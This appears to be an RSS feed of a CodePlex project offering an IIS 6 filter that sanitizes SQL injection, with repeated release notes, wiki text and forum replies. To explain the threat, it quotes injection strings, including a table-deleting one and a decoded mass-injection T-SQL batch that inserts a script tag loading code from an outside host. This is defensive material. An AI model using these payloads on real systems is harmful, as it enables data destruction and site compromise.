<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="http://www.codeplex.com/rss.xsl"?><rss version="2.0"><channel><title>IIS 6 SQL Injection Sanitation ISAPI Wildcard</title><link>http://www.codeplex.com/IIS6SQLInjection/Project/ProjectRss.aspx</link><description>This ISAPI wildcard, which works as a ISAPI filter, sanitizes SQL Injection attacks directly from GET and POST variables.</description><item><title>Updated Release: First Release (Dec 01, 2007)</title><link>http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764</link><description>&lt;div&gt;
&lt;b&gt;Project Description&lt;/b&gt;&lt;br&gt; &lt;br&gt;This ISAPI wildcard, which works as a ISAPI filter, sanitizes SQL Injection attacks directly from GET and POST variables.
&lt;br&gt; &lt;br&gt;&lt;b&gt;Important&lt;/b&gt;&lt;br&gt;I have deleted the previous version (1.0) which had about 2,000 downloads. The new version include some features requested by users in the discussion post. Add 2,354 to the number of downloads if you want to know how many people have downloaded the filter so far.&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation Package v. 2.0 32bits-BETA - It includes an application to change configuration, the possibility of excluding files to be filtered, logging and a better installer including the C++ dependencies. It is compatible with ASP and ASP.NET. It is the preferred download. The only BETA part is the log capability, all the rest is stable.&lt;/b&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation Package v. 1.5 32bits - Compatible with Frontpage Extensions -  is compatible with both classic ASP and ASP.NET.&lt;/b&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;b&gt;Introduction&lt;/b&gt;&lt;br&gt; &lt;br&gt;This ISAPI dll prevents SQL Injection attempts by intercepting the HTTP requests and sanitizing both GET and POST variables (or any combination of both) before the request reaches the intended code. This is especially useful for legacy applications not designed to deal with MS SQL Server Injection attempts. Though this application was designed with MS SQL Server in mind, it can be used with no or minimal changes with other database engines. &lt;br&gt; &lt;br&gt;This ISAPI is only compatible with Internet Information Server (IIS) 6.0 which comes with Windows 2003. Windows XP uses IIS 5 engine which DOES NOT fully support ISAPI Wildcard. &lt;br&gt; &lt;br&gt;&lt;b&gt;Background&lt;/b&gt;&lt;br&gt; &lt;br&gt;SQL Server Injection is a common technique of application attack targeting the database layer of such application. All applications using string concatenation to create SQL queries instead of parameterized queries are by nature vulnerable, no exceptions. See below a basic example: &lt;br&gt; &lt;br&gt;C#:&lt;br&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = \'&amp;quot; + UserId.Text + &amp;quot;\';&amp;quot;;&lt;br&gt; &lt;br&gt;Classic ASP:&lt;br&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = '&amp;quot; &amp;amp; Request(&amp;quot;UserId&amp;quot;) &amp;amp; &amp;quot;';&amp;quot;&lt;br&gt; &lt;br&gt;If the UserId is entered as: &lt;b&gt;&lt;i&gt;'; DELETE TABLE xxxx; --&lt;/i&gt;&lt;/b&gt; the SQL query sent to the database will be: &lt;br&gt; &lt;br&gt;&lt;i&gt;SELECT * FROM users WHERE userName = ''; DELETE TABLE xxxx; --';&lt;/i&gt;&lt;br&gt; &lt;br&gt;Which will delete table xxxx. Other category of attack is related to privacy. If User Id is entered as &lt;b&gt;&lt;i&gt;' OR 1=1 --&lt;/i&gt;&lt;/b&gt; the resulting SQL query will be: &lt;br&gt; &lt;br&gt;&lt;i&gt;SELECT * FROM users WHERE userName = '' OR 1=1 --';&lt;/i&gt;&lt;br&gt; &lt;br&gt;Forcing the return of all rows from table &amp;quot;users&amp;quot;. &lt;br&gt; &lt;br&gt;&lt;b&gt;By Rodney Viana&lt;/b&gt;&lt;br&gt;&lt;a href="http://www.rodneyviana.com"&gt;http://www.rodneyviana.com&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Download Installer&lt;/b&gt;&lt;br&gt;&lt;a href="http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764"&gt;First Release&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation&lt;/b&gt;&lt;br&gt;A video describing the step-by-step installation is available for download in this page.&lt;br&gt;You can also see written instructions in this Discussion thread: &lt;a href="http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=18772"&gt;Installation&lt;/a&gt;&lt;br&gt;&lt;b&gt;Version 1.5 is compatible with both classic ASP and ASP.NET.&lt;/b&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;64-bit Version (beta):&lt;/b&gt; The instructions are similar and the install video works the same as well, but the install folder differs and there is no test application, but the test site material is there.&lt;br&gt; &lt;br&gt;&lt;b&gt;ONLY FOR USERS WITH VERSIONS BEFORE 1.5:&lt;/b&gt; Zachary Johnson has identified an issue when someone attacks using both GET and POST at the same time in a very specific situation that also requires access to the receiving form. This could cause the SQL Injection to pass throught in some cases. All versions in this download are free of this problem. &lt;b&gt;If you have a previous version, please update to version 1.5&lt;/b&gt;. The update is not available for 64 bits yet.&lt;br&gt;
&lt;/div&gt;</description><author>rviana</author><pubDate>Tue, 25 Nov 2008 16:05:55 GMT</pubDate><guid isPermaLink="false">Updated Release: First Release (Dec 01, 2007) 20081125040555P</guid></item><item><title>Released: First Release (Dec 01, 2007)</title><link>http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764</link><description>&lt;div&gt;
&lt;b&gt;Project Description&lt;/b&gt;&lt;br&gt; &lt;br&gt;This ISAPI wildcard, which works as a ISAPI filter, sanitizes SQL Injection attacks directly from GET and POST variables.
&lt;br&gt; &lt;br&gt;&lt;b&gt;Important&lt;/b&gt;&lt;br&gt;I have deleted the previous version (1.0) which had about 2,000 downloads. The new version include some features requested by users in the discussion post. Add 2,354 to the number of downloads if you want to know how many people have downloaded the filter so far.&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation Package v. 2.0 32bits-BETA - It includes an application to change configuration, the possibility of excluding files to be filtered, logging and a better installer including the C++ dependencies. It is compatible with ASP and ASP.NET. It is the preferred download. The only BETA part is the log capability, all the rest is stable.&lt;/b&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation Package v. 1.5 32bits - Compatible with Frontpage Extensions -  is compatible with both classic ASP and ASP.NET.&lt;/b&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;b&gt;Introduction&lt;/b&gt;&lt;br&gt; &lt;br&gt;This ISAPI dll prevents SQL Injection attempts by intercepting the HTTP requests and sanitizing both GET and POST variables (or any combination of both) before the request reaches the intended code. This is especially useful for legacy applications not designed to deal with MS SQL Server Injection attempts. Though this application was designed with MS SQL Server in mind, it can be used with no or minimal changes with other database engines. &lt;br&gt; &lt;br&gt;This ISAPI is only compatible with Internet Information Server (IIS) 6.0 which comes with Windows 2003. Windows XP uses IIS 5 engine which DOES NOT fully support ISAPI Wildcard. &lt;br&gt; &lt;br&gt;&lt;b&gt;Background&lt;/b&gt;&lt;br&gt; &lt;br&gt;SQL Server Injection is a common technique of application attack targeting the database layer of such application. All applications using string concatenation to create SQL queries instead of parameterized queries are by nature vulnerable, no exceptions. See below a basic example: &lt;br&gt; &lt;br&gt;C#:&lt;br&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = \'&amp;quot; + UserId.Text + &amp;quot;\';&amp;quot;;&lt;br&gt; &lt;br&gt;Classic ASP:&lt;br&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = '&amp;quot; &amp;amp; Request(&amp;quot;UserId&amp;quot;) &amp;amp; &amp;quot;';&amp;quot;&lt;br&gt; &lt;br&gt;If the UserId is entered as: &lt;b&gt;&lt;i&gt;'; DELETE TABLE xxxx; --&lt;/i&gt;&lt;/b&gt; the SQL query sent to the database will be: &lt;br&gt; &lt;br&gt;&lt;i&gt;SELECT * FROM users WHERE userName = ''; DELETE TABLE xxxx; --';&lt;/i&gt;&lt;br&gt; &lt;br&gt;Which will delete table xxxx. Other category of attack is related to privacy. If User Id is entered as &lt;b&gt;&lt;i&gt;' OR 1=1 --&lt;/i&gt;&lt;/b&gt; the resulting SQL query will be: &lt;br&gt; &lt;br&gt;&lt;i&gt;SELECT * FROM users WHERE userName = '' OR 1=1 --';&lt;/i&gt;&lt;br&gt; &lt;br&gt;Forcing the return of all rows from table &amp;quot;users&amp;quot;. &lt;br&gt; &lt;br&gt;&lt;b&gt;By Rodney Viana&lt;/b&gt;&lt;br&gt;&lt;a href="http://www.rodneyviana.com"&gt;http://www.rodneyviana.com&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Download Installer&lt;/b&gt;&lt;br&gt;&lt;a href="http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764"&gt;First Release&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation&lt;/b&gt;&lt;br&gt;A video describing the step-by-step installation is available for download in this page.&lt;br&gt;You can also see written instructions in this Discussion thread: &lt;a href="http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=18772"&gt;Installation&lt;/a&gt;&lt;br&gt;&lt;b&gt;Version 1.5 is compatible with both classic ASP and ASP.NET.&lt;/b&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;64-bit Version (beta):&lt;/b&gt; The instructions are similar and the install video works the same as well, but the install folder differs and there is no test application, but the test site material is there.&lt;br&gt; &lt;br&gt;&lt;b&gt;ONLY FOR USERS WITH VERSIONS BEFORE 1.5:&lt;/b&gt; Zachary Johnson has identified an issue when someone attacks using both GET and POST at the same time in a very specific situation that also requires access to the receiving form. This could cause the SQL Injection to pass throught in some cases. All versions in this download are free of this problem. &lt;b&gt;If you have a previous version, please update to version 1.5&lt;/b&gt;. The update is not available for 64 bits yet.&lt;br&gt;
&lt;/div&gt;</description><author></author><pubDate>Tue, 25 Nov 2008 16:05:55 GMT</pubDate><guid isPermaLink="false">Released: First Release (Dec 01, 2007) 20081125040555P</guid></item><item><title>New Post: Does the filter break multipart/formdata forms?</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=29791</link><description>&lt;div style="line-height: normal;"&gt;Hi Martijnvm,&lt;br&gt;
&lt;br&gt;
The exclusion is necessary for all pages receiving these files. It means if there is more than one page receiving uploaded files, you have to make the exclusion. You don't have to make exclusions to pages sending the file if they are not handling the receiving. Also, you will have to review manually these excluded files since they will be prone to sql injections.
&lt;/div&gt;</description><author>rviana</author><pubDate>Tue, 25 Nov 2008 16:00:57 GMT</pubDate><guid isPermaLink="false">New Post: Does the filter break multipart/formdata forms? 20081125040057P</guid></item><item><title>New Post: Does the filter break multipart/formdata forms?</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=29791</link><description>&lt;div style="line-height: normal;"&gt;Hi Rodney,&lt;br&gt;
&lt;br&gt;
I've downloaded the version beta and installed it. Thank you for supplying it.&lt;br&gt;
&lt;br&gt;
The pages/forms which were broken by the filter all use a class which is included to handle the uploading of a file.&lt;br&gt;
&lt;br&gt;
Is it necessary to make an exception for the included file, or for all the asp files which use this include?&lt;br&gt;
&lt;br&gt;
Martijn van Mechelen
&lt;/div&gt;</description><author>martijnvm</author><pubDate>Tue, 25 Nov 2008 10:31:45 GMT</pubDate><guid isPermaLink="false">New Post: Does the filter break multipart/formdata forms? 20081125103145A</guid></item><item><title>Closed Issue: Request to upload a file fails whenever the filter is active</title><link>http://www.codeplex.com/IIS6SQLInjection/WorkItem/View.aspx?WorkItemId=2596</link><description>Related to the following thread&amp;#58;&lt;br /&gt;&lt;br /&gt;http&amp;#58;&amp;#47;&amp;#47;www.codeplex.com&amp;#47;IIS6SQLInjection&amp;#47;Thread&amp;#47;View.aspx&amp;#63;ThreadId&amp;#61;32507&lt;br /&gt;Comments: Fixed on version 2.</description><author>rviana</author><pubDate>Fri, 07 Nov 2008 16:37:19 GMT</pubDate><guid isPermaLink="false">Closed Issue: Request to upload a file fails whenever the filter is active 20081107043719P</guid></item><item><title>New Post: Installation</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=18772</link><description>&lt;div style="line-height: normal;"&gt;Hi Jason,&lt;br&gt;
&lt;br&gt;
Please download version 2.
&lt;/div&gt;</description><author>rviana</author><pubDate>Thu, 06 Nov 2008 16:02:02 GMT</pubDate><guid isPermaLink="false">New Post: Installation 20081106040202P</guid></item><item><title>Source code checked in, #15707</title><link>http://www.codeplex.com/IIS6SQLInjection/SourceControl/ListDownloadableCommits.aspx</link><description>2.0 Beta</description><author>rviana</author><pubDate>Thu, 06 Nov 2008 02:45:20 GMT</pubDate><guid isPermaLink="false">Source code checked in, #15707 20081106024520A</guid></item><item><title>New Post: PCannot connect ot VS project after filter install</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=30060</link><description>&lt;div style="line-height: normal;"&gt;Download version 2 and add an exclusion to *.dll.
&lt;/div&gt;</description><author>rviana</author><pubDate>Wed, 05 Nov 2008 17:15:42 GMT</pubDate><guid isPermaLink="false">New Post: PCannot connect ot VS project after filter install 20081105051542P</guid></item><item><title>New Post: Does the filter break multipart/formdata forms?</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=29791</link><description>&lt;div style="line-height: normal;"&gt;&lt;p&gt;Hi Martijn,&lt;br&gt;
&lt;br&gt;
Please download version 2 beta and add an exclusion to the file you do not want filtered.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Thanks,&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Rodney&lt;/p&gt;
&lt;/div&gt;</description><author>rviana</author><pubDate>Wed, 05 Nov 2008 17:13:24 GMT</pubDate><guid isPermaLink="false">New Post: Does the filter break multipart/formdata forms? 20081105051324P</guid></item><item><title>Updated Wiki: Home</title><link>http://www.codeplex.com/IIS6SQLInjection/Wiki/View.aspx?title=Home&amp;version=19</link><description>&lt;div class="wikidoc"&gt;
&lt;b&gt;Project Description&lt;/b&gt;&lt;br /&gt; &lt;br /&gt;This ISAPI wildcard, which works as a ISAPI filter, sanitizes SQL Injection attacks directly from GET and POST variables.
&lt;br /&gt; &lt;br /&gt;&lt;b&gt;NEW BETA&lt;/b&gt;&lt;br /&gt;Version 2.0 is available and it includes a configuration application which enables you to enable log and to exclude files from being filtered. Logging capabilities will enable you to verify the attacks you are suffering.&lt;br /&gt; &lt;br /&gt;&lt;b&gt;Introduction&lt;/b&gt;&lt;br /&gt; &lt;br /&gt;This ISAPI dll prevents SQL Injection attempts by intercepting the HTTP requests and sanitizing both GET and POST variables (or any combination of both) before the request reaches the intended code. This is especially useful for legacy applications not designed to deal with MS SQL Server Injection attempts. Though this application was designed with MS SQL Server in mind, it can be used with no or minimal changes with other database engines. &lt;br /&gt; &lt;br /&gt;This ISAPI is only compatible with Internet Information Server (IIS) 6.0 which comes with Windows 2003. Windows XP uses IIS 5 engine which DOES NOT support ISAPI Wildcard. &lt;br /&gt; &lt;br /&gt;&lt;b&gt;Background&lt;/b&gt;&lt;br /&gt; &lt;br /&gt;SQL Server Injection is a common technique of application attack targeting the database layer of such application. All applications using string concatenation to create SQL queries instead of parameterized queries are by nature vulnerable, no exceptions. See below a basic example: &lt;br /&gt; &lt;br /&gt;&lt;b&gt;C#:&lt;/b&gt;&lt;br /&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = \'&amp;quot; + UserId.Text + &amp;quot;\';&amp;quot;;&lt;br /&gt; &lt;br /&gt;&lt;b&gt;Classic ASP:&lt;/b&gt;&lt;br /&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = '&amp;quot; &amp;amp; Request(&amp;quot;UserId&amp;quot;) &amp;amp; &amp;quot;';&amp;quot;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;If the UserId is entered as: &lt;b&gt;&lt;i&gt;'; DELETE TABLE xxxx; --&lt;/i&gt;&lt;/b&gt; the SQL query sent to the database will be: &lt;br /&gt; &lt;br /&gt;&lt;i&gt;SELECT * FROM users WHERE userName = ''; DELETE TABLE xxxx; --';&lt;/i&gt;&lt;br /&gt; &lt;br /&gt;Which will delete table xxxx. Other category of attack is related to privacy. If User Id is entered as &lt;b&gt;&lt;i&gt;' OR 1=1 --&lt;/i&gt;&lt;/b&gt; the resulting SQL query will be: &lt;br /&gt; &lt;br /&gt;&lt;i&gt;SELECT * FROM users WHERE userName = '' OR 1=1 --';&lt;/i&gt;&lt;br /&gt; &lt;br /&gt;Forcing the return of all rows from table &amp;quot;users&amp;quot;. &lt;br /&gt; &lt;br /&gt;&lt;b&gt;More sophisticated attack using inline:&lt;/b&gt;&lt;br /&gt;http://server/myapp/showproduct.asp?id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0&amp;#215;440045004300…7200%20AS%20NVARCHAR(4000));EXEC(@S);–&lt;br /&gt; &lt;br /&gt;… = &lt;i&gt;a few hundred chars that were not included (hex encoded values)&lt;/i&gt;&lt;br /&gt; &lt;br /&gt;Which translate to the following T-SQL batch:&lt;br /&gt;&lt;i&gt;DECLARE @T varchar(255),@C varchar(255)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;DECLARE Table_Cursor CURSOR FOR&lt;/i&gt;&lt;br /&gt;&lt;i&gt;select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35&lt;/i&gt; &lt;i&gt;or b.xtype=231 or b.xtype=167)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C&lt;/i&gt;&lt;br /&gt;&lt;i&gt;WHILE(@@FETCH_STATUS=0) BEGIN&lt;/i&gt;&lt;br /&gt;&lt;i&gt;exec(’update ['@T'] set ['@C']=rtrim(convert(varchar,['@C']))+”&amp;lt;script src=http://www.211796*.net/f****}p.js&amp;gt;&amp;lt;/script&amp;gt;”’)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;FETCH NEXT FROM Table_Cursor INTO @T,@C&lt;/i&gt;&lt;br /&gt;&lt;i&gt;END&lt;/i&gt;&lt;br /&gt;&lt;i&gt;CLOSE Table_Cursor&lt;/i&gt;&lt;br /&gt;&lt;i&gt;DEALLOCATE Table_Cursor&lt;/i&gt;&lt;br /&gt; &lt;br /&gt;See more about this kind of attack here: &lt;a href="http://treyford.wordpress.com/2008/04/30/scary-mass-sql-attack" class="externalLink"&gt;http://treyford.wordpress.com/2008/04/30/scary-mass-sql-attack&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;&lt;b&gt;This category of attack is also completely blocked by the filter since the very beta version&lt;/b&gt;&lt;br /&gt; &lt;br /&gt;&lt;b&gt;By Rodney Viana&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.rodneyviana.com" class="externalLink"&gt;http://www.rodneyviana.com&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://blogs.msdn.com/rodneyviana" class="externalLink"&gt;http://blogs.msdn.com/rodneyviana&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;&lt;b&gt;Download Installer&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764"&gt;First Release&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;&lt;b&gt;Installation&lt;/b&gt;&lt;br /&gt;A video describing the step-by-step installation is available here: &lt;a href="http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764"&gt;First Release&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;You can also see written instructions in this Discussion thread: &lt;a href="http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=18772"&gt;Installation&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;&lt;b&gt;64-bit beta version is released&lt;/b&gt;&lt;br /&gt; &lt;br /&gt;I need beta testers.&lt;br /&gt;
&lt;/div&gt;</description><author>rviana</author><pubDate>Wed, 05 Nov 2008 16:50:19 GMT</pubDate><guid isPermaLink="false">Updated Wiki: Home 20081105045019P</guid></item><item><title>Updated Release: First Release (Dec 01, 2007)</title><link>http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764</link><description>&lt;div&gt;
&lt;b&gt;Project Description&lt;/b&gt;&lt;br&gt; &lt;br&gt;This ISAPI wildcard, which works as a ISAPI filter, sanitizes SQL Injection attacks directly from GET and POST variables.
&lt;br&gt; &lt;br&gt;&lt;b&gt;Important&lt;/b&gt;&lt;br&gt;I have deleted the previous version (1.0) which had about 2,000 downloads. The new version include some features requested by users in the discussion post. Add 2,354 to the number of downloads if you want to know how many people have downloaded the filter so far.&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation Package v. 2.0 32bits-BETA - It includes an application to change configuration, the possibility of excluding files to be filtered, logging and a better installer including the C++ dependencies.&lt;/b&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation Package v. 1.5 32bits - Compatible with Frontpage Extensions -  is compatible with both classic ASP and ASP.NET.&lt;/b&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;b&gt;Introduction&lt;/b&gt;&lt;br&gt; &lt;br&gt;This ISAPI dll prevents SQL Injection attempts by intercepting the HTTP requests and sanitizing both GET and POST variables (or any combination of both) before the request reaches the intended code. This is especially useful for legacy applications not designed to deal with MS SQL Server Injection attempts. Though this application was designed with MS SQL Server in mind, it can be used with no or minimal changes with other database engines. &lt;br&gt; &lt;br&gt;This ISAPI is only compatible with Internet Information Server (IIS) 6.0 which comes with Windows 2003. Windows XP uses IIS 5 engine which DOES NOT fully support ISAPI Wildcard. &lt;br&gt; &lt;br&gt;&lt;b&gt;Background&lt;/b&gt;&lt;br&gt; &lt;br&gt;SQL Server Injection is a common technique of application attack targeting the database layer of such application. All applications using string concatenation to create SQL queries instead of parameterized queries are by nature vulnerable, no exceptions. See below a basic example: &lt;br&gt; &lt;br&gt;C#:&lt;br&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = \'&amp;quot; + UserId.Text + &amp;quot;\';&amp;quot;;&lt;br&gt; &lt;br&gt;Classic ASP:&lt;br&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = '&amp;quot; &amp;amp; Request(&amp;quot;UserId&amp;quot;) &amp;amp; &amp;quot;';&amp;quot;&lt;br&gt; &lt;br&gt;If the UserId is entered as: &lt;b&gt;&lt;i&gt;'; DELETE TABLE xxxx; --&lt;/i&gt;&lt;/b&gt; the SQL query sent to the database will be: &lt;br&gt; &lt;br&gt;&lt;i&gt;SELECT * FROM users WHERE userName = ''; DELETE TABLE xxxx; --';&lt;/i&gt;&lt;br&gt; &lt;br&gt;Which will delete table xxxx. Other category of attack is related to privacy. If User Id is entered as &lt;b&gt;&lt;i&gt;' OR 1=1 --&lt;/i&gt;&lt;/b&gt; the resulting SQL query will be: &lt;br&gt; &lt;br&gt;&lt;i&gt;SELECT * FROM users WHERE userName = '' OR 1=1 --';&lt;/i&gt;&lt;br&gt; &lt;br&gt;Forcing the return of all rows from table &amp;quot;users&amp;quot;. &lt;br&gt; &lt;br&gt;&lt;b&gt;By Rodney Viana&lt;/b&gt;&lt;br&gt;&lt;a href="http://www.rodneyviana.com"&gt;http://www.rodneyviana.com&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Download Installer&lt;/b&gt;&lt;br&gt;&lt;a href="http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764"&gt;First Release&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation&lt;/b&gt;&lt;br&gt;A video describing the step-by-step installation is available for download in this page.&lt;br&gt;You can also see written instructions in this Discussion thread: &lt;a href="http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=18772"&gt;Installation&lt;/a&gt;&lt;br&gt;&lt;b&gt;Version 1.5 is compatible with both classic ASP and ASP.NET.&lt;/b&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;64-bit Version (beta):&lt;/b&gt; The instructions are similar and the install video works the same as well, but the install folder differs and there is no test application, but the test site material is there.&lt;br&gt; &lt;br&gt;&lt;b&gt;ONLY FOR USERS WITH VERSIONS BEFORE 1.5:&lt;/b&gt; Zachary Johnson has identified an issue when someone attacks using both GET and POST at the same time in a very specific situation that also requires access to the receiving form. This could cause the SQL Injection to pass throught in some cases. All versions in this download are free of this problem. &lt;b&gt;If you have a previous version, please update to version 1.5&lt;/b&gt;. The update is not available for 64 bits yet.&lt;br&gt;
&lt;/div&gt;</description><author>rviana</author><pubDate>Wed, 05 Nov 2008 16:45:57 GMT</pubDate><guid isPermaLink="false">Updated Release: First Release (Dec 01, 2007) 20081105044557P</guid></item><item><title>Released: First Release (Dec 01, 2007)</title><link>http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764</link><description>&lt;div&gt;
&lt;b&gt;Project Description&lt;/b&gt;&lt;br&gt; &lt;br&gt;This ISAPI wildcard, which works as a ISAPI filter, sanitizes SQL Injection attacks directly from GET and POST variables.
&lt;br&gt; &lt;br&gt;&lt;b&gt;Important&lt;/b&gt;&lt;br&gt;I have deleted the previous version (1.0) which had about 2,000 downloads. The new version include some features requested by users in the discussion post. Add 2,354 to the number of downloads if you want to know how many people have downloaded the filter so far.&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation Package v. 2.0 32bits-BETA - It includes an application to change configuration, the possibility of excluding files to be filtered, logging and a better installer including the C++ dependencies.&lt;/b&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation Package v. 1.5 32bits - Compatible with Frontpage Extensions -  is compatible with both classic ASP and ASP.NET.&lt;/b&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;b&gt;Introduction&lt;/b&gt;&lt;br&gt; &lt;br&gt;This ISAPI dll prevents SQL Injection attempts by intercepting the HTTP requests and sanitizing both GET and POST variables (or any combination of both) before the request reaches the intended code. This is especially useful for legacy applications not designed to deal with MS SQL Server Injection attempts. Though this application was designed with MS SQL Server in mind, it can be used with no or minimal changes with other database engines. &lt;br&gt; &lt;br&gt;This ISAPI is only compatible with Internet Information Server (IIS) 6.0 which comes with Windows 2003. Windows XP uses IIS 5 engine which DOES NOT fully support ISAPI Wildcard. &lt;br&gt; &lt;br&gt;&lt;b&gt;Background&lt;/b&gt;&lt;br&gt; &lt;br&gt;SQL Server Injection is a common technique of application attack targeting the database layer of such application. All applications using string concatenation to create SQL queries instead of parameterized queries are by nature vulnerable, no exceptions. See below a basic example: &lt;br&gt; &lt;br&gt;C#:&lt;br&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = \'&amp;quot; + UserId.Text + &amp;quot;\';&amp;quot;;&lt;br&gt; &lt;br&gt;Classic ASP:&lt;br&gt;stringSQL = &amp;quot;SELECT * FROM users WHERE userName = '&amp;quot; &amp;amp; Request(&amp;quot;UserId&amp;quot;) &amp;amp; &amp;quot;';&amp;quot;&lt;br&gt; &lt;br&gt;If the UserId is entered as: &lt;b&gt;&lt;i&gt;'; DELETE TABLE xxxx; --&lt;/i&gt;&lt;/b&gt; the SQL query sent to the database will be: &lt;br&gt; &lt;br&gt;&lt;i&gt;SELECT * FROM users WHERE userName = ''; DELETE TABLE xxxx; --';&lt;/i&gt;&lt;br&gt; &lt;br&gt;Which will delete table xxxx. Other category of attack is related to privacy. If User Id is entered as &lt;b&gt;&lt;i&gt;' OR 1=1 --&lt;/i&gt;&lt;/b&gt; the resulting SQL query will be: &lt;br&gt; &lt;br&gt;&lt;i&gt;SELECT * FROM users WHERE userName = '' OR 1=1 --';&lt;/i&gt;&lt;br&gt; &lt;br&gt;Forcing the return of all rows from table &amp;quot;users&amp;quot;. &lt;br&gt; &lt;br&gt;&lt;b&gt;By Rodney Viana&lt;/b&gt;&lt;br&gt;&lt;a href="http://www.rodneyviana.com"&gt;http://www.rodneyviana.com&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Download Installer&lt;/b&gt;&lt;br&gt;&lt;a href="http://www.codeplex.com/IIS6SQLInjection/Release/ProjectReleases.aspx?ReleaseId=8764"&gt;First Release&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;Installation&lt;/b&gt;&lt;br&gt;A video describing the step-by-step installation is available for download in this page.&lt;br&gt;You can also see written instructions in this Discussion thread: &lt;a href="http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=18772"&gt;Installation&lt;/a&gt;&lt;br&gt;&lt;b&gt;Version 1.5 is compatible with both classic ASP and ASP.NET.&lt;/b&gt;&lt;br&gt; &lt;br&gt;&lt;b&gt;64-bit Version (beta):&lt;/b&gt; The instructions are similar and the install video works the same as well, but the install folder differs and there is no test application, but the test site material is there.&lt;br&gt; &lt;br&gt;&lt;b&gt;ONLY FOR USERS WITH VERSIONS BEFORE 1.5:&lt;/b&gt; Zachary Johnson has identified an issue when someone attacks using both GET and POST at the same time in a very specific situation that also requires access to the receiving form. This could cause the SQL Injection to pass throught in some cases. All versions in this download are free of this problem. &lt;b&gt;If you have a previous version, please update to version 1.5&lt;/b&gt;. The update is not available for 64 bits yet.&lt;br&gt;
